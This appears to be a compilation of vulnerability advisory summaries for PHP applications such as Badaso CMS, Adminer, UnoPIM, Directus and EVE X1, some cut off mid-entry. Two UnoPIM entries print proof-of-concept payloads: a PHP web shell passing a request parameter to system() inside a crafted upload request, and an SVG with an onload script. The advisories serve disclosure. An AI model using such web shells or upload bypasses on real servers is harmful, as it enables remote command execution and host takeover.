#php

An arbitrary code execution vulnerability in Badaso CMS 2.9.11. The Media Manager allows authenticated users to upload files containing embedded PHP code via the file-upload endpoint, bypassing content-type validation. When such a file is accessed via its URL, the server executes the PHP payload, enabling an attacker to run arbitrary system commands and achieve full compromise of the underlying host. This has been demonstrated by embedding a backdoor within a PDF and renaming it with a .php extension.

The application constructs a shell command using unsanitized user input passed to the system() function, calling an external binary for authentication. Due to improper input handling and reliance on the binary's return value for access control, an attacker can inject special characters, such as a double quote (") to manipulate command parsing and induce execution failure. Since the application interprets any non-zero exit code from the binary as successful authentication, this flaw allows remote users to bypass authentication entirely without providing valid credentials.

Adminer 4.8.1, when using Monolog for logging, allows a Denial of Service (memory consumption) via a crafted serialized payload (e.g., using s:1000000000), leading to a PHP Object Injection issue. Remote, unauthenticated attackers can trigger this by sending a malicious serialized object, which forces excessive memory usage, rendering Adminer’s interface unresponsive and causing a server-level DoS. While the server may recover after several minutes, multiple simultaneous requests can cause a complete crash requiring manual intervention.

### Summary: Affected Functionality: **Image upload at User creation** Endpoint: `/admin/settings/users/create` ### Details The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file. Modified part of the multipart request body: ``` Content-Disposition: form-data; name="image[]"; filename="poc.php" Content-Type: application/x-php <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> ``` ### PoC 1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: ```<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>``` File name: poc.php Content-Type can be any, doesn't matter. 2. Access the up...

### Summary Affected Functionality: User creation Endpoint: `/admin/settings/users/create` ### Details https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file. File containing <svg> is considered as svg and is sanitized:  ``` Content-Disposition: form-data; name="image[]"; filename="poc.html" Content-Type: image/svg+xml <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)"> <rect ...

## Summary A vulnerability exists in the file update mechanism which allows an unauthenticated actor to modify existing files with arbitrary contents (without changes being applied to the files' database-resident metadata) and / or upload new files, with arbitrary content and extensions, which won't show up in the Directus UI. ## Details Directus exposes the CRUD operations for uploading or handling files under the `/files` route. The endpoint handler is responsible for updating an existing file identified by the provided primary key specified through the `pk` parameter. Primary keys are UUID values such as `/files/927b3abf-fb4b-4c66-bdaa-eb7dc48a51cb`. Here the `filename_disk` value is never sanitized, it's possible to pass a path containing traversal sequences (`../`) through it, but a fully arbitrary file write is not possible in case the "local" storage handler is used. (Other storage implementations haven't been checked during the research process). The `packages/storage-drive...

The EVE X1 server suffers from an unauthenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through the 'passwd' HTTP POST parameter in /ajax/php/login.php script.
